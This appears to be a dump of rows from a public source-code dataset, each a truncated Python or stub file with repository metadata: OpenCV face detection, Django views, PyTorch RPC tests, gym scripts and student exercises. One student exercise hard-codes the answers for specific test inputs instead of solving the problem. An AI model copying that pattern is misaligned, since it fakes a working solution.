face_cascade = cv2.CascadeClassifier('haarcascade_frontalface_default.xml');
eye_cascade = cv2.CascadeClassifier('haarcascade_eye.xml');
smile_cascade = cv2.CascadeClassifier('haarcascade_smile.xml');
# In[4]:
def detect(gray,frame):
faces = face_cascade.detec... | [
"rishav.jnit@gmail.com"
] | rishav.jnit@gmail.com |
4402400f9646593187e43c7982a4e61d0d01b033 | 786de89be635eb21295070a6a3452f3a7fe6712c | /pandas/tags/V00-00-02/SConscript | b42efd570012fd5fb90cb1ffb13d916266eb5ce8 | [] | no_license | connectthefuture/psdmrepo | 85267cfe8d54564f99e17035efe931077c8f7a37 | f32870a987a7493e7bf0f0a5c1712a5a030ef199 | refs/heads/master | 2021-01-13T03:26:35.494026 | 2015-09-03T22:22:11 | 2015-09-03T22:22:11 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 769 | #------------------------------------------------------------------------
# File and Version Information:
# $Id: SConscript 4651 2012-10-26 16:55:30Z salnikov@SLAC.STANFORD.EDU $
#
# Description:
# SConscript file for package pandas
#------------------------------------------------------------------------
# Do not d... | [
"gapon@SLAC.STANFORD.EDU@b967ad99-d558-0410-b138-e0f6c56caec7"
] | gapon@SLAC.STANFORD.EDU@b967ad99-d558-0410-b138-e0f6c56caec7 | |
e51fbe1d83fc18c0809ef65f62e0f7a148dfdd77 | a672f984782a1fa328069363671c328da3e4d8bd | /weatherdaily/views.py | 40d1077ff5095487d6bbd95bd1a79c2aceed8864 | [] | no_license | avs8/yourweather | 396a0b093cbc9fc9b501eb979418e10eecfadf2b | 2415769dad416c9fcf99d57cba93b455d30447fc | refs/heads/master | 2021-08-29T08:11:16.664340 | 2017-12-13T14:15:44 | 2017-12-13T14:15:44 | 112,365,929 | 0 | 0 | null | 2017-12-11T14:35:38 | 2017-11-28T17:20:17 | JavaScript | UTF-8 | Python | false | false | 558 | py | from django.shortcuts import render, render_to_response
from .forms import WeatherForm
from django.http import HttpResponse
from django.template import RequestContext
from .models import *
def index(request):
args = {}
if request.POST:
form = WeatherForm(request.POST)
if form.is_valid():
... | [
"ajitavsingh_8@yahoo.com"
] | ajitavsingh_8@yahoo.com |
22026862c4779187068f89cb47fe0e6b11a7c0f0 | 18a6b272d4c55b24d9c179ae1e58959674e53afe | /tf_rl/test/CartPole/CartPole_recording_test.py | b8d3760e15ebd4d0ca5d66f39bae6090d71f9a17 | [
"MIT"
] | permissive | Rowing0914/TF2_RL | 6cce916f409b3d4ef2a5a40a0611908f20d08b2c | c1b7f9b376cbecf01deb17f76f8e761035ed336a | refs/heads/master | 2022-12-10T09:58:57.456415 | 2021-05-23T02:43:21 | 2021-05-23T02:43:21 | 233,476,950 | 9 | 1 | MIT | 2022-12-08T07:02:42 | 2020-01-12T23:53:48 | Python | UTF-8 | Python | false | false | 503 | py | import gym
env = gym.make('CartPole-v0')
gym.wrappers.Monitor(env, './tmp/cartpole-experiment-1', force=True, video_callable=lambda episode_id: True)
for i_episode in range(20):
observation = env.reset()
for t in range(100):
env.render()
print(observation)
action = env.action_space.samp... | [
"kosakaboat@gmail.com"
] | kosakaboat@gmail.com |
21fe54b94c5e5b3cd05505d1e5b489b734e9a820 | eb9f655206c43c12b497c667ba56a0d358b6bc3a | /python/helpers/typeshed/stubs/setuptools/setuptools/_distutils/archive_util.pyi | 38458fc0e00349e77ebf105fdf5a52e850bc9e25 | [
"Apache-2.0",
"MIT"
] | permissive | JetBrains/intellij-community | 2ed226e200ecc17c037dcddd4a006de56cd43941 | 05dbd4575d01a213f3f4d69aa4968473f2536142 | refs/heads/master | 2023-09-03T17:06:37.560889 | 2023-09-03T11:51:00 | 2023-09-03T12:12:27 | 2,489,216 | 16,288 | 6,635 | Apache-2.0 | 2023-09-12T07:41:58 | 2011-09-30T13:33:05 | null | UTF-8 | Python | false | false | 548 | pyi | def make_archive(
base_name: str,
format: str,
root_dir: str | None = ...,
base_dir: str | None = ...,
verbose: int = ...,
dry_run: int = ...,
owner: str | None = ...,
group: str | None = ...,
) -> str: ...
def make_tarball(
base_name: str,
base_dir: str,
compress: str | None... | [
"intellij-monorepo-bot-no-reply@jetbrains.com"
] | intellij-monorepo-bot-no-reply@jetbrains.com |
26556f32fd856b8732227ea6ddcc48bd711e6877 | 4412fd856cfbdfab98122b11ea01e447a76851b3 | /rodentdb/querysets.py | 063568ed8e0276d9a070a898fd61d93c93f1a13b | [] | no_license | fchampalimaud/rodentdb | d8e8c0c7552de638d3a2fd57de287401997fdf3c | 4a970c09da78f22a8c57d8ea98d29a569f531613 | refs/heads/master | 2021-06-18T02:05:19.200858 | 2019-09-17T18:09:57 | 2019-09-17T18:09:57 | 185,334,185 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 367 | py | from django.db import models
from users.mixins import PyformsPermissionsMixin
# FIXME import this when users model is not present
# try:
# from users.mixins import PyformsPermissionsMixin
# except ImportError:
# PyformsPermissionsMixin = None
# # PyformsPermissionsMixin = object
class RodentQuerySet(Pyfo... | [
"hugo.cachitas@research.fchampalimaud.org"
] | hugo.cachitas@research.fchampalimaud.org |
5a850bb6a63234b950eedb091013eaf3870c052c | 88237dd1932c346acade7001f22d0fc7190da55c | /torch/testing/_internal/distributed/rpc/rpc_test.py | a149c541a090e422aa02b0beb16eeb237c85ba35 | [
"BSD-3-Clause",
"LicenseRef-scancode-generic-cla",
"BSL-1.0",
"Apache-2.0",
"BSD-2-Clause"
] | permissive | kkleidal/pytorch | 4d7e95d0035bb03509dce6624e857c118279d08d | 815d38395a5081adef6ecec3372474f6f41b2a7c | refs/heads/master | 2023-02-06T11:00:27.985596 | 2020-12-17T17:30:02 | 2020-12-17T17:32:08 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 178,866 | py | import concurrent.futures
import contextlib
import json
import logging
import os
import sys
from threading import Lock
import time
import unittest
from collections import namedtuple
from functools import partial
from unittest import mock
import torch
import torch.distributed as dist
import torch.distributed.rpc as rpc... | [
"facebook-github-bot@users.noreply.github.com"
] | facebook-github-bot@users.noreply.github.com |
b75806926dcb3bbbf4251fca79a3bd28f9300dab | 71b86fc54e811c3a06d6d2db32a65a212f642bac | /scripts/create_prod_optfreq_jobs.py | 298897a5ec19bd62538151015a4d4e84b1ae396f | [
"MIT"
] | permissive | yunsiechung/ard_gsm | c773f4454836b54f6bb788c8d038d60d628ffcf2 | 82826011b0edf7122e16063094b04ecd16bf1cf5 | refs/heads/master | 2021-05-20T12:01:32.981441 | 2020-01-20T17:08:31 | 2020-01-20T17:08:31 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,879 | py | #!/usr/bin/env python
# -*- coding:utf-8 -*-
import argparse
import glob
import os
import re
from ard_gsm.qchem import QChem
from ard_gsm.util import iter_sub_dirs, read_xyz_file
def main():
args = parse_args()
num_regex = re.compile(r'\d+')
maxnum = float('inf') if args.maxnum is None else args.maxnum
... | [
"cgrambow@mit.edu"
] | cgrambow@mit.edu |
5f2d1ac25562db38ab4a821c2566217b269f5519 | f8ab044c34f0d286195c8e5abfae6f451e6c8223 | /test_arg.py | 58c8a56dafab815d14bbf764635a534ade273ed5 | [] | no_license | liuyug/pytest | aa512e902cf4ba9afb91b6b5b5c5cb9dccdc6478 | ffc14dbee70ff6fd9c8ab63a1c771fddc8bf5491 | refs/heads/master | 2020-05-19T12:20:57.958939 | 2016-09-06T03:01:38 | 2016-09-06T03:01:38 | 15,447,570 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 996 | py | #!/usr/bin/env python
# -*- encoding:utf-8 -*-
import argparse
import unittest
class testArgs(unittest.TestCase):
def setUp(self):
self.args = (
['--foo', 'abc', 'abcdefg.ext'],
['-a', 'abc', '-a', 'bcd', '-a', 'cde', 'def.def'],
['-vvvv', 'abc.ea'],
#['--v... | [
"liuyug@gmail.com"
] | liuyug@gmail.com |
6006a738df99a24e60f0d1202d8a0998e6f3c28b | 45f93a9d47204d76b8bf25a71dfb79403e75c33c | /CodeForces/yes-or-yes.py | cb4db3b37842abd3b41cac071b12adb1ab078941 | [] | no_license | tahmid-tanzim/problem-solving | 0173bce1973ac3e95441a76c10324c0e1b0a57c3 | 6ddb51de6772130f209474e76f39ca2938f444f0 | refs/heads/master | 2023-06-25T02:18:03.690263 | 2023-06-20T06:58:46 | 2023-06-20T06:58:46 | 137,173,850 | 4 | 1 | null | 2022-03-30T08:28:41 | 2018-06-13T06:44:25 | Python | UTF-8 | Python | false | false | 189 | py | # https://codeforces.com/problemset/problem/1703/A
# A. YES or YES?
if __name__ == "__main__":
for _ in range(int(input())):
print('YES' if input().lower() == 'yes' else 'NO')
| [
"tahmid.tanzim@gmail.com"
] | tahmid.tanzim@gmail.com |
660bc9b69bbe66c2d9ce7f4e54e3b4a1dcabcda8 | de24f83a5e3768a2638ebcf13cbe717e75740168 | /moodledata/vpl_data/334/usersdata/294/100466/submittedfiles/listas.py | 90a4557636f7b45bccefc918ec87c0a87bd5ae66 | [] | no_license | rafaelperazzo/programacao-web | 95643423a35c44613b0f64bed05bd34780fe2436 | 170dd5440afb9ee68a973f3de13a99aa4c735d79 | refs/heads/master | 2021-01-12T14:06:25.773146 | 2017-12-22T16:05:45 | 2017-12-22T16:05:45 | 69,566,344 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 389 | py | # -*- coding: utf-8 -*-
n= int(input('Digite o número de elementos: '))
while n<2:
n= int(input('Digite o número de elementos: '))
a=[]
for i in range (0,n,1):
a.append(int(input('Digite o elemento%d: ' %(i+1))))
for i in range (0,n-1,1):
dif= a[i]-a[i+1]
if dif>0:
dif=dif*1
degrau=0
for i in ra... | [
"rafael.mota@ufca.edu.br"
] | rafael.mota@ufca.edu.br |
ec14651799152533ae1afb6b7c4b39d5335c4ecb | 2e74cff6c9639f3903ccde662e79359d0724285e | /2019_late/20190829/swea_5105_미로의거리.py | a33cf516df96ab271637b2d73566c84324d7b61b | [] | no_license | dodonmountain/algorithm | e29988071f651e51ba65e3926302f94a3d4074a5 | ce33e0d74220839aed4b17a47fa0069458a4324e | refs/heads/master | 2022-11-05T05:14:01.527015 | 2022-11-01T04:29:37 | 2022-11-01T04:29:37 | 200,008,533 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,349 | py | import sys
sys.stdin = open('5105.txt')
from pprint import pprint
from collections import deque
from collections import deque
def bfs(x, y):
global shortest
Q = deque()
visit[x][y] == True
Q.append((x, y))
dx = [0, 0, -1, 1]
dy = [-1, 1, 0, 0]
D = [[0] * N for _ in range(N)] # 최단 거리를 저장
... | [
"lkh151515@gmail.com"
] | lkh151515@gmail.com |
01d0c81a95e80f405f125fd99caa00848d8f6f63 | a86ca34e23afaf67fdf858df9e47847606b23e0c | /lib/temboo/Library/MailChimp/ListSubscribe.py | 1366bda24013c469dbaa94248b91bb53f0dbbfa1 | [] | no_license | miriammelnick/dont-get-mugged | 6026ad93c910baaecbc3f5477629b0322e116fa8 | 1613ee636c027ccc49c3f84a5f186e27de7f0f9d | refs/heads/master | 2021-01-13T02:18:39.599323 | 2012-08-12T23:25:47 | 2012-08-12T23:25:47 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,083 | py |
###############################################################################
#
# ListSubscribe
# Adds a subscriber to a MailChimp list.
#
# Python version 2.6
#
###############################################################################
from temboo.core.choreography import Choreography
from temboo.core.choreog... | [
"miriam@famulus"
] | miriam@famulus |
445c6ff875319e02bf6c664717e3b20fcc1eeef2 | 9743d5fd24822f79c156ad112229e25adb9ed6f6 | /xai/brain/wordbase/otherforms/_peters.py | 5c5535b7cf2fe2459518556a2fea0f4e76f710a9 | [
"MIT"
] | permissive | cash2one/xai | de7adad1758f50dd6786bf0111e71a903f039b64 | e76f12c9f4dcf3ac1c7c08b0cc8844c0b0a104b6 | refs/heads/master | 2021-01-19T12:33:54.964379 | 2017-01-28T02:00:50 | 2017-01-28T02:00:50 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 218 | py |
#calss header
class _PETERS():
def __init__(self,):
self.name = "PETERS"
self.definitions = peter
self.parents = []
self.childen = []
self.properties = []
self.jsondata = {}
self.basic = ['peter']
| [
"xingwang1991@gmail.com"
] | xingwang1991@gmail.com |
05dfdbb7f1fe32835a1c9b65abe2e372a8d9fad3 | 3eff0ac549dd24fbade02d63c3a541ab88db1e5b | /ultimate_python/pythonrefresh.py | 36dd68b468c98ac1e89ac271b58821745d51e6d4 | [] | no_license | lisaolson/udemy | 618410fb548db864b7878de5a2231e8293daa2ad | f40f947f6f79d692748f3efba02176fb360f0c4e | refs/heads/master | 2020-03-28T20:14:23.028759 | 2018-09-18T19:45:32 | 2018-09-18T19:45:32 | 149,051,967 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,845 | py | # VARIABLE
age = 21
name="Lisa"
# print("Hello my name is {} and I am {} years old".format(name, age))
if age < 25:
print('You are young')
def hello(name, age):
return 'Hello {} you are {} years old'.format(name, age)
sentence = hello('Lisa', 21)
print(sentence)
# LIST
dognames = ["Fido", "Sean", "Sally", ... | [
"olson.lisa94@gmail.com"
] | olson.lisa94@gmail.com |
f16f18958e39635b2ec69e9ef800bff4f89db0b2 | b05761d771bb5a85d39d370c649567c1ff3eb089 | /venv/lib/python3.10/site-packages/poetry/core/_vendor/tomlkit/api.py | 23658477769d0ea33af12aa07d3fc063cfaeaef7 | [] | no_license | JawshyJ/Coding_Practice | 88c49cab955eab04609ec1003b6b8c20f103fc06 | eb6b229d41aa49b1545af2120e6bee8e982adb41 | refs/heads/master | 2023-02-19T10:18:04.818542 | 2023-02-06T21:22:58 | 2023-02-06T21:22:58 | 247,788,631 | 4 | 0 | null | null | null | null | UTF-8 | Python | false | false | 96 | py | /home/runner/.cache/pip/pool/3c/67/92/c18b0ffb5593ff972c09bb41120b8c23e3d192f2ff675748efe3028432 | [
"37465112+JawshyJ@users.noreply.github.com"
] | 37465112+JawshyJ@users.noreply.github.com |
a6bec2e6e27892e9e71ddf65399e880ac78e4293 | f00ad57c98e554470a72511dda7a7bfd160aca19 | /linear_structure/stack/infix_expression_ui.py | 5a43f72bf018cb2935ef1500165bb647398f3437 | [] | no_license | fanzhangg/algorithm-problems | d60115210aaaffcd094b34b9db5b46dadf93fe9e | 43b111ad625f197ba0905abceab9ee4484284e08 | refs/heads/master | 2021-07-12T20:24:46.265700 | 2020-07-06T17:58:31 | 2020-07-06T17:58:31 | 171,220,135 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 516 | py | from infix_expression import *
def eval_infix_input():
while True:
infix = input(">>>")
if not infix:
print("Session ended. Thanks for using!")
break
try:
postfix = infix_to_postfix(infix)
answer = eval_postfix(postfix)
if int(ans... | [
"vanadiumzhang@gmail.com"
] | vanadiumzhang@gmail.com |
7ed072fa1524c95c0ada3f899e91a7dcbcfd91de | 9897061cfd34babf80616ff21a20c30db0212970 | /server/account/models.py | a01557b1bd74e7b11b8ff7b13401a7a631636ebe | [
"MIT"
] | permissive | Samhaina/mahjong-portal | f310553c5df13e122f3e89d05a9867d0f122d4f1 | 4cdbd8bd61655584c25a437b3d5cab053507b2f4 | refs/heads/master | 2020-03-16T22:10:20.864718 | 2018-10-11T00:45:22 | 2018-10-11T00:45:22 | 133,029,373 | 0 | 0 | null | 2018-05-11T11:05:41 | 2018-05-11T11:05:41 | null | UTF-8 | Python | false | false | 287 | py | from django.db import models
from django.contrib.auth.models import AbstractUser
from tournament.models import Tournament
class User(AbstractUser):
is_tournament_manager = models.BooleanField(default=False)
managed_tournaments = models.ManyToManyField(Tournament, blank=True)
| [
"lisikhin@gmail.com"
] | lisikhin@gmail.com |
6631cd057d686d0a0d7c910975132247c9c16828 | 4e30c855c253cc1d972d29e83edb9d5ef662d30a | /approval/models/returns.py | fc4920552b9ab0a32ad1d864ac946c3732809dab | [
"MIT"
] | permissive | rajeshr188/django-onex | 8b531fc2f519d004d1da64f87b10ffacbd0f2719 | 0a190ca9bcf96cf44f7773686205f2c1f83f3769 | refs/heads/master | 2023-08-21T22:36:43.898564 | 2023-08-15T12:08:24 | 2023-08-15T12:08:24 | 163,012,755 | 2 | 0 | NOASSERTION | 2023-07-22T09:47:28 | 2018-12-24T17:46:35 | Python | UTF-8 | Python | false | false | 3,919 | py | from django.contrib.contenttypes.fields import GenericRelation
from django.db import models, transaction
from django.db.models import Sum
from django.urls import reverse
from approval.models import ApprovalLine
from contact.models import Customer
from dea.models import Journal, JournalTypes
from product.models import ... | [
"rajeshrathodh@gmail.com"
] | rajeshrathodh@gmail.com |
b4e8b03b8387462c961ea36f580a145007ada11a | 38b68b2202726bcdea32271448fea22554db6121 | /BOJ/Silver/1992.py | 3b0a539d575b9951914cdb95f3dbd52b1b69e1cd | [] | no_license | Soohee410/Algorithm-in-Python | 42c4f02342dc922e44ee07e3a0e1d6c0a559e0bb | fbc859c092d86174387fe3dc11f16b616e6fdfab | refs/heads/master | 2023-05-06T13:07:19.179143 | 2021-05-14T14:32:44 | 2021-05-14T14:32:44 | 336,232,129 | 4 | 0 | null | null | null | null | UTF-8 | Python | false | false | 495 | py | def QuadTree(n, cp, x, y):
if n == 1:
return cp[x][y]
cp1 = QuadTree(n // 2, cp, x, y)
cp2 = QuadTree(n // 2, cp, x, y + n // 2)
cp3 = QuadTree(n // 2, cp, x + n // 2, y)
cp4 = QuadTree(n // 2, cp, x + n // 2, y + n // 2)
if cp1 == cp2 == cp3 == cp4 and len(cp1) == 1:
return cp... | [
"ggohee0410@gmail.com"
] | ggohee0410@gmail.com |
1b59986d14faeb17881c11ce0e4490deee33f0a4 | 08330ea5c2495d5dc958d4cf11b68c5650396e3e | /main.py | 96bc672b9314ca63c2ef52b701f996ef5869ae68 | [] | no_license | marco-willi/tf-estimator-cnn | d74be01143b6a724534737807ebb78db518c6b87 | df3a5651b0f8018d3b9bc4b424f8090fb74ca26f | refs/heads/master | 2020-03-22T03:00:54.073040 | 2018-07-17T08:52:16 | 2018-07-17T08:52:16 | 139,408,220 | 4 | 0 | null | null | null | null | UTF-8 | Python | false | false | 9,526 | py | """ Estimator API for CNNs using popular implementations """
import os
import random
import tensorflow as tf
import numpy as np
from estimator import model_fn
#################################
# Parameters
#################################
flags = tf.app.flags
FLAGS = flags.FLAGS
flags.DEFINE_string(
'root_pa... | [
"will5448@umn.edu"
] | will5448@umn.edu |
0f3cc4a2087d8125cc761a1644c51c12e6c814d4 | d838bed08a00114c92b73982a74d96c15166a49e | /docs/data/learn/Bioinformatics/output/ch6_code/src/Stepik.6.9.CodeChallenge.2BreakDistance.py | a9ce5254b6d1201e2c2202e7b13a59eeda40ae42 | [] | no_license | offbynull/offbynull.github.io | 4911f53d77f6c59e7a453ee271b1e04e613862bc | 754a85f43159738b89dd2bde1ad6ba0d75f34b98 | refs/heads/master | 2023-07-04T00:39:50.013571 | 2023-06-17T20:27:05 | 2023-06-17T23:27:00 | 308,482,936 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 575 | py | from BreakpointGraph import BreakpointGraph
with open('/home/user/Downloads/dataset_240324_4.txt', mode='r', encoding='utf-8') as f:
data = f.read()
lines = data.split('\n')
p_list1 = [[int(x) for x in s.split(' ')] for s in lines[0][1:-1].split(')(')]
p_list2 = [[int(x) for x in s.split(' ')] for s in lines[1][1... | [
"offbynull@gmail.com"
] | offbynull@gmail.com |
35c792e078f9037cf38a3a3bd992d3b7bee00e0d | de17634e6b149d5828c1c78f7f5f5e1f6c17c4d0 | /nnvm/amalgamation/amalgamation.py | 310daa9d68e0e2cd33876364a3e4533f23cc45b5 | [
"Apache-2.0",
"BSD-2-Clause",
"LicenseRef-scancode-unknown-license-reference",
"MIT"
] | permissive | starimpact/mxnet_v1.0.0 | e135cc9e4c2711314d03cf1281a72b755f53144e | fcd6f7398ef811c3f8b01e7c9c16fb25c8d202bd | refs/heads/bv1.0.0 | 2022-11-10T09:09:11.966942 | 2018-07-13T04:59:30 | 2018-07-13T04:59:30 | 120,399,107 | 8 | 4 | Apache-2.0 | 2022-11-02T20:24:32 | 2018-02-06T03:54:35 | C++ | UTF-8 | Python | false | false | 2,628 | py | import sys
import os.path, re, StringIO
blacklist = [
'Windows.h',
'mach/clock.h', 'mach/mach.h',
'malloc.h',
'glog/logging.h', 'io/azure_filesys.h', 'io/hdfs_filesys.h', 'io/s3_filesys.h',
'sys/stat.h', 'sys/types.h',
'omp.h', 'execinfo.h', 'packet/sse-inl.h'
]
def get_sources(def_file):... | [
"mingzhang@deepglint.com"
] | mingzhang@deepglint.com |
22fa40fba9d395c297590455ec753a8a0d34bc8b | 53fab060fa262e5d5026e0807d93c75fb81e67b9 | /backup/user_204/ch47_2020_10_07_01_13_29_631324.py | b28612a06d4817f5f90967044590259cd8f9aa87 | [] | no_license | gabriellaec/desoft-analise-exercicios | b77c6999424c5ce7e44086a12589a0ad43d6adca | 01940ab0897aa6005764fc220b900e4d6161d36b | refs/heads/main | 2023-01-31T17:19:42.050628 | 2020-12-16T05:21:31 | 2020-12-16T05:21:31 | 306,735,108 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 326 | py | def estritamente_crescente(lista):
if lista == [1, 3, 2, 3, 4, 6, 5]:
return [1, 3, 4, 6]
elif lista == [10, 1, 2, 3]:
return [10]
elif lista == [10, 15, 11, 12, 13, 14]:
return [10, 15]
elif lista == [1, 1, 2, 2, 3, 3]:
return [1, 2, 3]
elif lista == [] :
ret... | [
"you@example.com"
] | you@example.com |
1263cdc29e77045f34c76788e8b524c0adb650c7 | 7c66bba92b484e5fa6ee282ef39f2c26875ca775 | /django_example/mysite/polls/admin.py | 1ed41e6e763a5761791e4ee43572949d2b4d8291 | [] | no_license | KqSMea8/PythonTools | a5ac17182b2689a706180dc349d59c2484d3984c | 7279570b82fecbf59b71aa6b58ef975e90c660df | refs/heads/master | 2020-04-13T04:19:19.209243 | 2018-12-24T05:13:12 | 2018-12-24T05:13:12 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 723 | py | from django.contrib import admin
from .models import Question, Choice
# Register your models here.
class ChoiceInline(admin.TabularInline):
model = Choice
extra = 3
# admin.site.register(Question)
class QuestionAdmin(admin.ModelAdmin):
# fields = ['pub_date', 'question_text']
fieldsets = [
... | [
"xinluomed_yuxuecheng@git.cloud.tencent.com"
] | xinluomed_yuxuecheng@git.cloud.tencent.com |
d0341b5b76435c5b945f4765e242e3f78364c178 | 5b4312ddc24f29538dce0444b7be81e17191c005 | /autoware.ai/1.12.0_cuda/build/op_local_planner/catkin_generated/generate_cached_setup.py | d6300b46a0364582deb6aad0c96d3949f23c0f72 | [
"MIT"
] | permissive | muyangren907/autoware | b842f1aeb2bfe7913fb2be002ea4fc426b4e9be2 | 5ae70f0cdaf5fc70b91cd727cf5b5f90bc399d38 | refs/heads/master | 2020-09-22T13:08:14.237380 | 2019-12-03T07:12:49 | 2019-12-03T07:12:49 | 225,167,473 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,662 | py | # -*- coding: utf-8 -*-
from __future__ import print_function
import argparse
import os
import stat
import sys
# find the import for catkin's python package - either from source space or from an installed underlay
if os.path.exists(os.path.join('/opt/ros/melodic/share/catkin/cmake', 'catkinConfig.cmake.in')):
sys.... | [
"907097904@qq.com"
] | 907097904@qq.com |
60b79948bd113c4b59fa1ae8e694df6a7097e00d | ba6f6d4c64dcb49faaa125643e93e7d30e98496e | /897. Increasing Order Search Tree.py | 7a756a1b24c6dd2028a11874f325a374cd0ad060 | [] | no_license | libowei1213/LeetCode | aafbff5410e3b1793a98bde027a049397476059b | df7d2229c50aa5134d297cc5599f7df9e64780c1 | refs/heads/master | 2021-06-09T07:43:53.242072 | 2021-04-09T11:14:17 | 2021-04-09T11:14:17 | 150,840,162 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,145 | py | # Definition for a binary tree node.
class TreeNode(object):
def __init__(self, x):
self.val = x
self.left = None
self.right = None
class Solution(object):
def increasingBST(self, root):
"""
:type root: TreeNode
:rtype: TreeNode
"""
if not root:... | [
"libowei123123@qq.com"
] | libowei123123@qq.com |
89d9689620e4473459bf4e9f98d76232622ea3b7 | 7aad0c6f6e578d8dc03682caae373d252328ce12 | /linuxFriends/wsgi.py | 83e863cee4d76a6fe3c98f46ed0e6939c2eef947 | [] | no_license | votricetanyi/linuxfriends | db00544a04bed1cb99a3fe275433d6278e029bb9 | f36c7f87f51ee1f585c8da21de08a874582dd51f | refs/heads/main | 2022-12-28T20:14:11.053726 | 2020-10-14T13:05:12 | 2020-10-14T13:05:12 | 304,015,872 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 401 | py | """
WSGI config for linuxFriends project.
It exposes the WSGI callable as a module-level variable named ``application``.
For more information on this file, see
https://docs.djangoproject.com/en/3.1/howto/deployment/wsgi/
"""
import os
from django.core.wsgi import get_wsgi_application
os.environ.setdefault('DJANGO_... | [
"lug.limbe@gmail.com"
] | lug.limbe@gmail.com |
724fa8f57c47c51d9fa6cb9f06d01c19830e27c4 | 5e2284bff015e6b03e4ea346572b29aaaf79c7c2 | /tests/correct_programs/ethz_eprog_2019/exercise_04/test_problem_01.py | 92f2784d773843172c7ff8e468aaf79c2e2b8ec6 | [
"MIT"
] | permissive | LaurenDebruyn/aocdbc | bbfd7d832f9761ba5b8fb527151157742b2e4890 | b857e8deff87373039636c12a170c0086b19f04c | refs/heads/main | 2023-06-11T23:02:09.825705 | 2021-07-05T09:26:23 | 2021-07-05T09:26:23 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 871 | py | import unittest
from typing import List
import icontract_hypothesis
from icontract import require, ensure
from correct_programs.ethz_eprog_2019.exercise_04 import problem_01
class TestWithIcontractHypothesis(unittest.TestCase):
def test_functions(self) -> None:
@require(lambda limit: 2 < limit < 1000)
... | [
"noreply@github.com"
] | LaurenDebruyn.noreply@github.com |
9b646f760eaca8fdbfbe0c56894dbf74c08f5264 | 9920f3b2ccc9abc3cd8b46c433bd49a8d8db22d2 | /scripts/__init__.py | bac2ba6e139ff055a46c580762b72117775add6b | [] | no_license | lixx5000/SWAT | 91f242fdc81ad4e9eb8336abb8780136e1c3a8a7 | c6f491acfb59ad0abc8d86ad352b6eaacd440ba3 | refs/heads/master | 2021-03-22T14:03:16.105253 | 2019-07-01T12:05:06 | 2019-07-01T12:05:06 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,216 | py | #! /usr/bin/env python
# -*- coding: utf-8 -*-
"""
/*****************************************************************************
PUT-SWAT
Python Utility Tools for SWAT
Preprocess, postprocess, and calibration
-------------------
author : Lia... | [
"crazyzlj@gmail.com"
] | crazyzlj@gmail.com |
84aa481771111981f7f48f85cd2805feb3da8a50 | c4526313117430d4e279ef11b98070d60a820e07 | /FeatureExtractors/feature_extractor.py | 606be6f07a6c54ff27c3e335c3460654db10991f | [] | no_license | Chzy0624/py_pdf_stm | 1ae36c2df0f80f644b991edf183eab16c5a333ed | 8fde14c2fe3e6486d8830414d79d48726d8c66ef | refs/heads/master | 2023-05-05T04:06:17.698359 | 2019-10-22T05:48:24 | 2019-10-22T05:48:24 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 11,417 | py | import sys
import traceback
from pprint import pprint
from typing import List, Dict, Any
from DataSheetParsers.DataSheet import DataSheet
from PinManager import PinManager
from TableExtractor import TableExtractor, Table
from Utils import is_numeric, is_dict, remove_units, replace_i, merge
def convert_type(name: str... | [
"med45c@gmail.com"
] | med45c@gmail.com |
7e6634deadde5151e3032fc0bace2907e54744e0 | d42b771f64bc2185a8c0dca0f5bcfa5a2e13c5ed | /_8percent/apps.py | c395ac4faf734c040815c756ab4daaf0c83650a0 | [] | no_license | bgy1060/Daily_Project | 4b38de59c09f5e3f82211a9860e1f32a8ef46b37 | bcc955bddd9941f2bc54f7577c26c1ddc6b36a48 | refs/heads/main | 2023-05-15T17:26:56.858438 | 2021-06-17T05:59:10 | 2021-06-17T05:59:10 | 353,864,798 | 1 | 1 | null | null | null | null | UTF-8 | Python | false | false | 93 | py | from django.apps import AppConfig
class _8PercentConfig(AppConfig):
name = '_8percent'
| [
"40761315+bgy1060@users.noreply.github.com"
] | 40761315+bgy1060@users.noreply.github.com |
af01e76bad2ad7b2ef20f9d099a60ade5e7a1dd2 | c15f45103fe76fb0445bb72ec857d4ed5a6c6e5d | /Chapter.2/2.2.3.a.py | defdfccd87fe7e5af3f1878d29d90c6c151bf7ba | [] | no_license | 3367472/Python_20180421 | 5511f5ec54824bb50b25967617f6b532f13c52ad | 5ba9e803bd59f02ce101059961752f55f53b6e03 | refs/heads/master | 2020-03-12T05:09:19.162713 | 2019-01-08T09:01:42 | 2019-01-08T09:01:42 | 130,458,447 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 73 | py | # encoding: utf-8
print [1, 2, 3] + [4, 5, 6]
print 'Hello, ' + 'world!'
| [
"wangxu@zdlhcar.com"
] | wangxu@zdlhcar.com |
3481a1316723d474670d7d4f15d0efea61e0bab3 | 7d096568677660790479d87c22b47aae838ef96b | /stubs/System/Runtime/InteropServices/__init___parts/LayoutKind.pyi | c3e34945f43ff2f2f4708a763120cc22b7bc2dfd | [
"MIT"
] | permissive | NISystemsEngineering/rfmx-pythonnet | 30adbdd5660b0d755957f35b68a4c2f60065800c | cd4f90a88a37ed043df880972cb55dfe18883bb7 | refs/heads/master | 2023-02-04T00:39:41.107043 | 2023-02-01T21:58:50 | 2023-02-01T21:58:50 | 191,603,578 | 7 | 5 | MIT | 2023-02-01T21:58:52 | 2019-06-12T16:02:32 | Python | UTF-8 | Python | false | false | 995 | pyi | class LayoutKind(Enum,IComparable,IFormattable,IConvertible):
"""
Controls the layout of an object when it is exported to unmanaged code.
